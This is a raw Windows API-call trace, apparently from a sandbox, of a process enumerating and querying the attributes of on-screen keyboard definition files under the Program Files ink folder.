	[0243.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknav.xml", cAlternateFileName="")) returned 1
	[0243.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1
	[0243.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1
	[0243.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1
	[0243.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1
	[0243.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1
	[0243.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1
	[0243.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.587] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0243.589] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.590] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.592] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0xc0001df470 | out: lpFindFileData=0xc0001df470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0243.592] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.592] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1
	[0243.592] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.592] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0243.592] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.592] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x59a)) returned 1
	[0243.598] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.598] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4)) returned 1
	[0243.600] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.603] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\*", lpFindFileData=0xc0001df470 | out: lpFindFileData=0xc0001df470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0243.603] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.604] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="insertbase.xml", cAlternateFileName="")) returned 1
	[0243.604] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.604] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0243.604] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.604] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387)) returned 1
	[0243.612] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.612] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7)) returned 1
	[0243.618] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.618] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0xc0001df470 | out: lpFindFileData=0xc0001df470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0243.619] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.619] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1
	[0243.619] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1
	[0243.619] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1
	[0243.619] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.619] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0243.619] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.620] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180)) returned 1
	[0243.621] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.621] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387)) returned 1
	[0243.621] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.621] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x188)) returned 1
	[0243.623] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.623] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5)) returned 1
	[0243.623] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.623] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.623] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0xc0001df470 | out: lpFindFileData=0xc0001df470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0243.637] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
